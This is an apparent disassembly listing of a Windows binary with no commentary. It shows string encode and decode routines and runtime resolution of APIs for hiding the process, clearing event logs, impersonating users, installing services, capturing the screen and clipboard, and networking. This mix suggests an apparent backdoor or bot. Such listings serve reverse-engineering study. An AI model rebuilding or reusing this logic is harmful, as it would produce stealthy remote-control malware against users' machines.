loc_417134:				; CODE XREF: sub_4170D6+56j
		xor	eax, eax
		lea	ecx, [ebp+var_C]
		stosd
		stosd
		call	sub_416882
		push	[ebp+arg_0]
		call	esi ; dword_437088
		push	eax
		lea	ecx, [ebp+var_C]
		push	[ebp+arg_0]
		call	sub_416F9C
		cmp	byte ptr [ebx],	0
		mov	edi, [ebp+var_4]
		mov	esi, ebx
		jz	loc_4171F4


loc_41715F:				; CODE XREF: sub_4170D6+118j
		movzx	eax, byte ptr [esi]
		shl	eax, 18h
		inc	esi
		movzx	ecx, byte ptr [esi]
		shl	ecx, 10h
		add	eax, ecx
		inc	esi
		movzx	ecx, byte ptr [esi]
		shl	ecx, 8
		add	eax, ecx
		inc	esi
		movzx	ecx, byte ptr [esi]
		add	eax, ecx
		inc	esi
		mov	[ebp+arg_0], eax
		movzx	eax, byte ptr [esi]
		shl	eax, 18h
		inc	esi
		movzx	ecx, byte ptr [esi]
		shl	ecx, 10h
		add	eax, ecx
		inc	esi
		movzx	ecx, byte ptr [esi]
		shl	ecx, 8
		add	eax, ecx
		inc	esi
		movzx	ecx, byte ptr [esi]
		add	eax, ecx
		lea	ecx, [ebp+var_C]
		mov	[ebp+arg_4], eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		inc	esi
		call	sub_4168B8
		push	6
		pop	eax


loc_4171B6:				; CODE XREF: sub_4170D6+F7j
		mov	ecx, [ebp+arg_4]
		mov	edx, off_442B60
		shr	[ebp+arg_4], 6
		and	ecx, 3Fh
		mov	cl, [ecx+edx]
		mov	[edi], cl
		inc	edi
		dec	eax
		jnz	short loc_4171B6
		push	6
		pop	eax


loc_4171D2:				; CODE XREF: sub_4170D6+113j
		mov	ecx, [ebp+arg_0]
		mov	edx, off_442B60
		shr	[ebp+arg_0], 6
		and	ecx, 3Fh
		mov	cl, [ecx+edx]
		mov	[edi], cl
		inc	edi
		dec	eax
		jnz	short loc_4171D2
		cmp	byte ptr [esi],	0
		jnz	loc_41715F


loc_4171F4:				; CODE XREF: sub_4170D6+83j
		and	byte ptr [edi],	0
		push	ebx
		call	sub_4290D0
		pop	ecx
		lea	ecx, [ebp+var_C]
		call	sub_4168A2
		mov	eax, [ebp+var_4]
		pop	edi
		jmp	short loc_41720E
; ---------------------------------------------------------------------------


loc_41720C:				; CODE XREF: sub_4170D6+2Ej
					; sub_4170D6+37j
		mov	eax, ebx


loc_41720E:				; CODE XREF: sub_4170D6+134j
		pop	esi
		pop	ebx
		leave
		retn
sub_4170D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417212	proc near		; CODE XREF: sub_415641+1Ep

var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	[ebp+arg_4]
		mov	esi, dword_437088
		call	esi ; dword_437088
		add	eax, 0Ch
		push	eax
		call	sub_42B4D7
		pop	ecx
		mov	ebx, eax
		push	[ebp+arg_4]
		mov	[ebp+var_8], ebx
		push	ebx
		call	dword_4370B4	; lstrcpyA
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	loc_41735C
		cmp	byte ptr [eax],	0
		jz	loc_41735C
		push	edi
		mov	edi, ebx
		push	[ebp+arg_4]
		call	esi ; dword_437088
		add	eax, 0Ch
		push	eax
		call	sub_42B4D7
		cmp	byte ptr [ebx],	0
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_417272


loc_41726C:				; CODE XREF: sub_417212+5Ej
		inc	edi
		cmp	byte ptr [edi],	0
		jnz	short loc_41726C


loc_417272:				; CODE XREF: sub_417212+58j
		xor	eax, eax
		lea	ecx, [ebp+var_10]
		stosd
		stosd
		stosd
		call	sub_416882
		push	[ebp+arg_0]
		call	esi ; dword_437088
		push	eax
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_0]
		call	sub_416F9C
		cmp	byte ptr [ebx],	0
		mov	esi, [ebp+var_4]
		mov	edi, ebx
		jz	loc_417344


loc_41729E:				; CODE XREF: sub_417212+129j
		and	[ebp+arg_0], 0
		and	[ebp+arg_4], 0
		xor	edx, edx


loc_4172A8:				; CODE XREF: sub_417212+ADj
		mov	al, [edi]
		inc	edi
		push	eax
		call	sub_4170BC
		pop	ecx
		mov	ecx, edx
		add	edx, 6
		shl	eax, cl
		or	[ebp+arg_0], eax
		cmp	edx, 24h
		jl	short loc_4172A8
		xor	edx, edx


loc_4172C3:				; CODE XREF: sub_417212+C8j
		mov	al, [edi]
		inc	edi
		push	eax
		call	sub_4170BC
		pop	ecx
		mov	ecx, edx
		add	edx, 6
		shl	eax, cl
		or	[ebp+arg_4], eax
		cmp	edx, 24h
		jl	short loc_4172C3
		lea	eax, [ebp+arg_0]
		lea	ecx, [ebp+var_10]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_416C29
		push	18h
		xor	edx, edx
		pop	eax


loc_4172F1:				; CODE XREF: sub_417212+FEj
		mov	ebx, 0FFh
		mov	ecx, eax
		shl	ebx, cl
		push	18h
		sub	eax, 8
		pop	ecx
		sub	ecx, edx
		add	edx, 8
		and	ebx, [ebp+arg_4]
		shr	ebx, cl
		mov	[esi], bl
		inc	esi
		cmp	eax, 0FFFFFFF8h
		jg	short loc_4172F1
		push	18h
		xor	edx, edx
		pop	eax


loc_417317:				; CODE XREF: sub_417212+124j
		mov	ebx, 0FFh
		mov	ecx, eax
		shl	ebx, cl
		push	18h
		sub	eax, 8
		pop	ecx
		sub	ecx, edx
		add	edx, 8
		and	ebx, [ebp+arg_0]
		shr	ebx, cl
		mov	[esi], bl
		inc	esi
		cmp	eax, 0FFFFFFF8h
		jg	short loc_417317
		cmp	byte ptr [edi],	0
		jnz	loc_41729E
		mov	ebx, [ebp+var_8]


loc_417344:				; CODE XREF: sub_417212+86j
		and	byte ptr [esi],	0
		push	ebx
		call	sub_4290D0
		pop	ecx
		lea	ecx, [ebp+var_10]
		call	sub_4168A2
		mov	eax, [ebp+var_4]
		pop	edi
		jmp	short loc_41735E
; ---------------------------------------------------------------------------


loc_41735C:				; CODE XREF: sub_417212+31j
					; sub_417212+3Aj
		mov	eax, ebx


loc_41735E:				; CODE XREF: sub_417212+148j
		pop	esi
		pop	ebx
		leave
		retn
sub_417212	endp


; =============== S U B	R O U T	I N E =======================================



sub_417362	proc near		; CODE XREF: sub_418E0F+Ap
		push	ebx
		push	ebp
		mov	ebp, dword_437070
		push	esi
		push	edi
		push	offset aKernel32_dll_1 ; "kernel32.dll"
		call	ebp ; dword_437070
		mov	esi, dword_437030
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_41748E
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi ; dword_437030
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_457004, eax
		call	esi ; dword_437030
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_456F60, eax
		call	esi ; dword_437030
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_456F3C, eax
		call	esi ; dword_437030
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_456E0C, eax
		call	esi ; dword_437030
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_456DB0, eax
		call	esi ; dword_437030
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_456DDC, eax
		call	esi ; dword_437030
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_456E6C, eax
		call	esi ; dword_437030
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_456FA8, eax
		call	esi ; dword_437030
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_457020, eax
		call	esi ; dword_437030
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_456E1C, eax
		call	esi ; dword_437030
		push	offset aGetcomputernam ; "GetComputerNameA"
		push	edi
		mov	dword_456DF8, eax
		call	esi ; dword_437030
		cmp	dword_457004, ebx
		mov	dword_456F90, eax
		jz	short loc_417475
		cmp	dword_456F60, ebx
		jz	short loc_417475
		cmp	dword_456F3C, ebx
		jz	short loc_417475
		cmp	dword_456E0C, ebx
		jz	short loc_417475
		cmp	dword_456DDC, ebx
		jz	short loc_417475
		cmp	dword_456E6C, ebx
		jz	short loc_417475
		cmp	dword_456FA8, ebx
		jz	short loc_417475
		cmp	dword_457020, ebx
		jz	short loc_417475
		cmp	dword_456E1C, ebx
		jz	short loc_417475
		cmp	dword_456DF8, ebx
		jz	short loc_417475
		cmp	eax, ebx
		jnz	short loc_41747F


loc_417475:				; CODE XREF: sub_417362+C5j
					; sub_417362+CDj ...
		mov	dword_457024, 1


loc_41747F:				; CODE XREF: sub_417362+111j
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi ; dword_437030
		mov	dword_456F74, eax
		jmp	short loc_4174A3
; ---------------------------------------------------------------------------


loc_41748E:				; CODE XREF: sub_417362+1Dj
		call	dword_437170	; RtlGetLastWin32Error
		mov	dword_457028, eax
		mov	dword_457024, 1


loc_4174A3:				; CODE XREF: sub_417362+12Aj
		push	offset aUser32_dll ; "user32.dll"
		call	dword_437034	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4175F7
		push	offset aClosewindow ; "CloseWindow"
		push	edi
		call	esi ; dword_437030
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		mov	dword_456E80, eax
		call	esi ; dword_437030
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_456F9C, eax
		call	esi ; dword_437030
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_456F44, eax
		call	esi ; dword_437030
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_456EB0, eax
		call	esi ; dword_437030
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_457008, eax
		call	esi ; dword_437030
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_456EF4, eax
		call	esi ; dword_437030
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_456F24, eax
		call	esi ; dword_437030
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_456F94, eax
		call	esi ; dword_437030
		cmp	dword_456E80, ebx
		mov	dword_456E3C, eax
		jz	short loc_417571
		cmp	dword_456F9C, ebx
		jz	short loc_417571
		cmp	dword_456F44, ebx
		jz	short loc_417571
		cmp	dword_456EB0, ebx
		jz	short loc_417571
		cmp	dword_457008, ebx
		jz	short loc_417571
		cmp	dword_456EF4, ebx
		jz	short loc_417571
		cmp	dword_456F24, ebx
		jz	short loc_417571
		cmp	dword_456F94, ebx
		jz	short loc_417571
		cmp	eax, ebx
		jnz	short loc_41757B


loc_417571:				; CODE XREF: sub_417362+1D1j
					; sub_417362+1D9j ...
		mov	dword_45702C, 1


loc_41757B:				; CODE XREF: sub_417362+20Dj
		push	offset aEnumwindows ; "EnumWindows"
		push	edi
		call	esi ; dword_437030
		push	offset aGetwindowinfo ;	"GetWindowInfo"
		push	edi
		mov	dword_456FEC, eax
		call	esi ; dword_437030
		push	offset aGetwindowthrea ; "GetWindowThreadProcessId"
		push	edi
		mov	dword_456EC8, eax
		call	esi ; dword_437030
		push	offset aShowwindow ; "ShowWindow"
		push	edi
		mov	dword_456DEC, eax
		call	esi ; dword_437030
		push	offset aIswindowvisibl ; "IsWindowVisible"
		push	edi
		mov	dword_456ECC, eax
		call	esi ; dword_437030
		push	offset aGetclassnamea ;	"GetClassNameA"
		push	edi
		mov	dword_456EF8, eax
		call	esi ; dword_437030
		cmp	dword_456FEC, ebx
		mov	dword_457014, eax
		jz	short loc_417602
		cmp	dword_456EC8, ebx
		jz	short loc_417602
		cmp	dword_456DEC, ebx
		jz	short loc_417602
		cmp	dword_456ECC, ebx
		jz	short loc_417602
		cmp	dword_456EF8, ebx
		jz	short loc_417602
		cmp	eax, ebx
		jnz	short loc_41760C
		jmp	short loc_417602
; ---------------------------------------------------------------------------


loc_4175F7:				; CODE XREF: sub_417362+150j
		call	dword_437170	; RtlGetLastWin32Error
		mov	dword_457030, eax


loc_417602:				; CODE XREF: sub_417362+26Dj
					; sub_417362+275j ...
		mov	dword_45702C, 1


loc_41760C:				; CODE XREF: sub_417362+291j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	dword_437034	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4178FE
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi ; dword_437030
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_456FC0, eax
		call	esi ; dword_437030
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_456ED4, eax
		call	esi ; dword_437030
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_456F64, eax
		call	esi ; dword_437030
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_456DF0, eax
		call	esi ; dword_437030
		push	offset aRegdeletekeya ;	"RegDeleteKeyA"
		push	edi
		mov	dword_456E64, eax
		call	esi ; dword_437030
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_456E98, eax
		call	esi ; dword_437030
		push	offset aRegenumkeyexa ;	"RegEnumKeyExA"
		push	edi
		mov	dword_456F08, eax
		call	esi ; dword_437030
		push	offset aRegenumvaluea ;	"RegEnumValueA"
		push	edi
		mov	dword_456E68, eax
		call	esi ; dword_437030
		push	offset aRegqueryinfoke ; "RegQueryInfoKeyA"
		push	edi
		mov	dword_456E04, eax
		call	esi ; dword_437030
		cmp	dword_456FC0, ebx
		mov	dword_456EC4, eax
		jz	short loc_4176E7
		cmp	dword_456ED4, ebx
		jz	short loc_4176E7
		cmp	dword_456F64, ebx
		jz	short loc_4176E7
		cmp	dword_456DF0, ebx
		jz	short loc_4176E7
		cmp	dword_456E64, ebx
		jz	short loc_4176E7
		cmp	dword_456E98, ebx
		jz	short loc_4176E7
		cmp	dword_456F08, ebx
		jz	short loc_4176E7
		cmp	dword_456E04, ebx
		jz	short loc_4176E7
		cmp	eax, ebx
		jnz	short loc_4176F1


loc_4176E7:				; CODE XREF: sub_417362+347j
					; sub_417362+34Fj ...
		mov	dword_457034, 1


loc_4176F1:				; CODE XREF: sub_417362+383j
		push	offset aOpenthreadtoke ; "OpenThreadToken"
		push	edi
		call	esi ; dword_437030
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		mov	dword_456E48, eax
		call	esi ; dword_437030
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_456F18, eax
		call	esi ; dword_437030
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_456EDC, eax
		call	esi ; dword_437030
		cmp	dword_456E48, ebx
		mov	dword_456FB4, eax
		jz	short loc_417741
		cmp	dword_456F18, ebx
		jz	short loc_417741
		cmp	dword_456EDC, ebx
		jz	short loc_417741
		cmp	eax, ebx
		jnz	short loc_41774B


loc_417741:				; CODE XREF: sub_417362+3C9j
					; sub_417362+3D1j ...
		mov	dword_457034, 1


loc_41774B:				; CODE XREF: sub_417362+3DDj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi ; dword_437030
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_456F28, eax
		call	esi ; dword_437030
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_456DC8, eax
		call	esi ; dword_437030
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_456DD0, eax
		call	esi ; dword_437030
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_456E44, eax
		call	esi ; dword_437030
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_456E50, eax
		call	esi ; dword_437030
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_456DE4, eax
		call	esi ; dword_437030
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_456EE0, eax
		call	esi ; dword_437030
		push	offset aCreateservicea ; "CreateServiceA"
		push	edi
		mov	dword_456DD4, eax
		call	esi ; dword_437030
		push	offset aStartservicect ; "StartServiceCtrlDispatcherA"
		push	edi
		mov	dword_456FB8, eax
		call	esi ; dword_437030
		push	offset aImpersonatelog ; "ImpersonateLoggedOnUser"
		push	edi
		mov	dword_45701C, eax
		call	esi ; dword_437030
		push	offset aLockservicedat ; "LockServiceDatabase"
		push	edi
		mov	dword_45700C, eax
		call	esi ; dword_437030
		push	offset aQueryservicelo ; "QueryServiceLockStatusA"
		push	edi
		mov	dword_456E00, eax
		call	esi ; dword_437030
		push	offset aChangeservicec ; "ChangeServiceConfig2A"
		push	edi
		mov	dword_456E88, eax
		call	esi ; dword_437030
		push	offset aUnlockserviced ; "UnlockServiceDatabase"
		push	edi
		mov	dword_457010, eax
		call	esi ; dword_437030
		push	offset aRegisterserv_0 ; "RegisterServiceCtrlHandlerA"
		push	edi
		mov	dword_456F54, eax
		call	esi ; dword_437030
		push	offset aSetservicestat ; "SetServiceStatus"
		push	edi
		mov	dword_456F50, eax
		call	esi ; dword_437030
		cmp	dword_456F28, ebx
		mov	dword_456E70, eax
		jz	short loc_41789C
		cmp	dword_456DC8, ebx
		jz	short loc_41789C
		cmp	dword_456DD0, ebx
		jz	short loc_41789C
		cmp	dword_456E44, ebx
		jz	short loc_41789C
		cmp	dword_456E50, ebx
		jz	short loc_41789C
		cmp	dword_456DE4, ebx
		jz	short loc_41789C
		cmp	dword_456EE0, ebx
		jz	short loc_41789C
		cmp	dword_456DD4, ebx
		jz	short loc_41789C
		cmp	dword_45700C, ebx
		jz	short loc_41789C
		cmp	dword_456E00, ebx
		jz	short loc_41789C
		cmp	dword_456E88, ebx
		jz	short loc_41789C
		cmp	dword_457010, ebx
		jz	short loc_41789C
		cmp	dword_456F54, ebx
		jz	short loc_41789C
		cmp	dword_456F50, ebx
		jz	short loc_41789C
		cmp	eax, ebx
		jnz	short loc_4178A6


loc_41789C:				; CODE XREF: sub_417362+4CCj
					; sub_417362+4D4j ...
		mov	dword_457034, 1


loc_4178A6:				; CODE XREF: sub_417362+538j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi ; dword_437030
		cmp	eax, ebx
		mov	dword_456DCC, eax
		jnz	short loc_4178C1
		mov	dword_457034, 1


loc_4178C1:				; CODE XREF: sub_417362+553j
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		call	esi ; dword_437030
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_456EA0, eax
		call	esi ; dword_437030
		push	offset aCloseeventlog ;	"CloseEventLog"
		push	edi
		mov	dword_456E90, eax
		call	esi ; dword_437030
		cmp	dword_456EA0, ebx
		mov	dword_456E4C, eax
		jz	short loc_417909
		cmp	dword_456E90, ebx
		jz	short loc_417909
		cmp	eax, ebx
		jnz	short loc_417913
		jmp	short loc_417909
; ---------------------------------------------------------------------------


loc_4178FE:				; CODE XREF: sub_417362+2B9j
		call	dword_437170	; RtlGetLastWin32Error
		mov	dword_45703C, eax


loc_417909:				; CODE XREF: sub_417362+58Cj
					; sub_417362+594j ...
		mov	dword_457034, 1


loc_417913:				; CODE XREF: sub_417362+598j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp ; dword_437070
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4179DF
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi ; dword_437030
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_456F20, eax
		call	esi ; dword_437030
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_456F80, eax
		call	esi ; dword_437030
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_456F88, eax
		call	esi ; dword_437030
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_456F40, eax
		call	esi ; dword_437030
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_456E24, eax
		call	esi ; dword_437030
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_456DC0, eax
		call	esi ; dword_437030
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_456F84, eax
		call	esi ; dword_437030
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_456DAC, eax
		call	esi ; dword_437030
		cmp	dword_456F20, ebx
		mov	dword_456E5C, eax
		jz	short loc_4179EA
		cmp	dword_456F80, ebx
		jz	short loc_4179EA
		cmp	dword_456F88, ebx
		jz	short loc_4179EA
		cmp	dword_456F40, ebx
		jz	short loc_4179EA
		cmp	dword_456E24, ebx
		jz	short loc_4179EA
		cmp	dword_456DC0, ebx
		jz	short loc_4179EA
		cmp	dword_456F84, ebx
		jz	short loc_4179EA
		cmp	dword_456DAC, ebx
		jz	short loc_4179EA
		cmp	eax, ebx
		jnz	short loc_4179F4
		jmp	short loc_4179EA
; ---------------------------------------------------------------------------


loc_4179DF:				; CODE XREF: sub_417362+5BCj
		call	dword_437170	; RtlGetLastWin32Error
		mov	dword_457044, eax


loc_4179EA:				; CODE XREF: sub_417362+63Dj
					; sub_417362+645j ...
		mov	dword_457040, 1


loc_4179F4:				; CODE XREF: sub_417362+679j
		mov	ebp, dword_437034
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp ; dword_437034
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_417CC1
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi ; dword_437030
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_456E78, eax
		call	esi ; dword_437030
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_456FFC, eax
		call	esi ; dword_437030
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_456E08, eax
		call	esi ; dword_437030
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_456DD8, eax
		call	esi ; dword_437030
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_456EC0, eax
		call	esi ; dword_437030
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_456EA4, eax
		call	esi ; dword_437030
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_456E58, eax
		call	esi ; dword_437030
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_456FD0, eax
		call	esi ; dword_437030
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_456FF4, eax
		call	esi ; dword_437030
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_456EBC, eax
		call	esi ; dword_437030
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_456FDC, eax
		call	esi ; dword_437030
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_456F7C, eax
		call	esi ; dword_437030
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_456F38, eax
		call	esi ; dword_437030
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_456F34, eax
		call	esi ; dword_437030
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_456E30, eax
		call	esi ; dword_437030
		push	offset aSend	; "send"
		push	edi
		mov	dword_456E28, eax
		call	esi ; dword_437030
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_456F8C, eax
		call	esi ; dword_437030
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_456FAC, eax
		call	esi ; dword_437030
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_456F58, eax
		call	esi ; dword_437030
		mov	dword_456F04, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi ; dword_437030
		push	offset aSelect	; "select"
		push	edi
		mov	dword_456F6C, eax
		call	esi ; dword_437030
		push	offset aListen	; "listen"
		push	edi
		mov	dword_456F1C, eax
		call	esi ; dword_437030
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_456F68, eax
		call	esi ; dword_437030
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_456FE4, eax
		call	esi ; dword_437030
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_456F10, eax
		call	esi ; dword_437030
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_456EB8, eax
		call	esi ; dword_437030
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_456F4C, eax
		call	esi ; dword_437030
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_456FD4, eax
		call	esi ; dword_437030
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_456ED8, eax
		call	esi ; dword_437030
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_456E54, eax
		call	esi ; dword_437030
		push	offset aShutdown ; "shutdown"
		push	edi
		mov	dword_456FF0, eax
		call	esi ; dword_437030
		cmp	dword_456E78, ebx
		mov	dword_456FE8, eax
		jz	loc_417CCC
		cmp	dword_456FFC, ebx
		jz	loc_417CCC
		cmp	dword_456E08, ebx
		jz	loc_417CCC
		cmp	dword_456EC0, ebx
		jz	loc_417CCC
		cmp	dword_456EA4, ebx
		jz	loc_417CCC
		cmp	dword_456E58, ebx
		jz	loc_417CCC
		cmp	dword_456FD0, ebx
		jz	loc_417CCC
		cmp	dword_456FF4, ebx
		jz	loc_417CCC
		cmp	dword_456EBC, ebx
		jz	loc_417CCC
		cmp	dword_456FDC, ebx
		jz	loc_417CCC
		cmp	dword_456F7C, ebx
		jz	loc_417CCC
		cmp	dword_456F38, ebx
		jz	loc_417CCC
		cmp	dword_456F34, ebx
		jz	loc_417CCC
		cmp	dword_456E30, ebx
		jz	short loc_417CCC
		cmp	dword_456F8C, ebx
		jz	short loc_417CCC
		cmp	dword_456FAC, ebx
		jz	short loc_417CCC
		cmp	dword_456F58, ebx
		jz	short loc_417CCC
		cmp	dword_456F04, ebx
		jz	short loc_417CCC
		cmp	dword_456F6C, ebx
		jz	short loc_417CCC
		cmp	dword_456F1C, ebx
		jz	short loc_417CCC
		cmp	dword_456F68, ebx
		jz	short loc_417CCC
		cmp	dword_456FE4, ebx
		jz	short loc_417CCC
		cmp	dword_456F10, ebx
		jz	short loc_417CCC
		cmp	dword_456EB8, ebx
		jz	short loc_417CCC
		cmp	dword_456F4C, ebx
		jz	short loc_417CCC
		cmp	dword_456FD4, ebx
		jz	short loc_417CCC
		cmp	dword_456ED8, ebx
		jz	short loc_417CCC
		cmp	dword_456FF0, ebx
		jnz	short loc_417CD6
		jmp	short loc_417CCC
; ---------------------------------------------------------------------------


loc_417CC1:				; CODE XREF: sub_417362+6A3j
		call	dword_437170	; RtlGetLastWin32Error
		mov	dword_45704C, eax


loc_417CCC:				; CODE XREF: sub_417362+84Fj
					; sub_417362+85Bj ...
		mov	dword_457048, 1


loc_417CD6:				; CODE XREF: sub_417362+95Bj
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp ; dword_437034
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_417DF5
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi ; dword_437030
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_456E38, eax
		call	esi ; dword_437030
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_456DB4, eax
		call	esi ; dword_437030
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_456EF0, eax
		call	esi ; dword_437030
		push	offset aFtpgetfilea ; "FtpGetFileA"
		push	edi
		mov	dword_456E7C, eax
		call	esi ; dword_437030
		push	offset aFtpputfilea ; "FtpPutFileA"
		push	edi
		mov	dword_456E18, eax
		call	esi ; dword_437030
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_456FBC, eax
		call	esi ; dword_437030
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_456F00, eax
		call	esi ; dword_437030
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_456EA8, eax
		call	esi ; dword_437030
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_456DF4, eax
		call	esi ; dword_437030
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_456DE8, eax
		call	esi ; dword_437030
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_456DFC, eax
		call	esi ; dword_437030
		cmp	dword_456E38, ebx
		mov	ecx, dword_456EA8
		mov	dword_456F70, eax
		jz	short loc_417DD1
		cmp	dword_456DB4, ebx
		jz	short loc_417DD1
		cmp	dword_456EF0, ebx
		jz	short loc_417DD1
		cmp	dword_456E7C, ebx
		jz	short loc_417DD1
		cmp	dword_456F00, ebx
		jz	short loc_417DD1
		cmp	ecx, ebx
		jz	short loc_417DD1
		cmp	dword_456DF4, ebx
		jz	short loc_417DD1
		cmp	dword_456DE8, ebx
		jz	short loc_417DD1
		cmp	dword_456DFC, ebx
		jz	short loc_417DD1
		cmp	eax, ebx
		jnz	short loc_417DDB


loc_417DD1:				; CODE XREF: sub_417362+A2Dj
					; sub_417362+A35j ...
		mov	dword_457050, 1


loc_417DDB:				; CODE XREF: sub_417362+A6Dj
		cmp	ecx, ebx
		jz	short loc_417E10
		push	ebx
		push	ebx
		push	ebx
		push	ebx
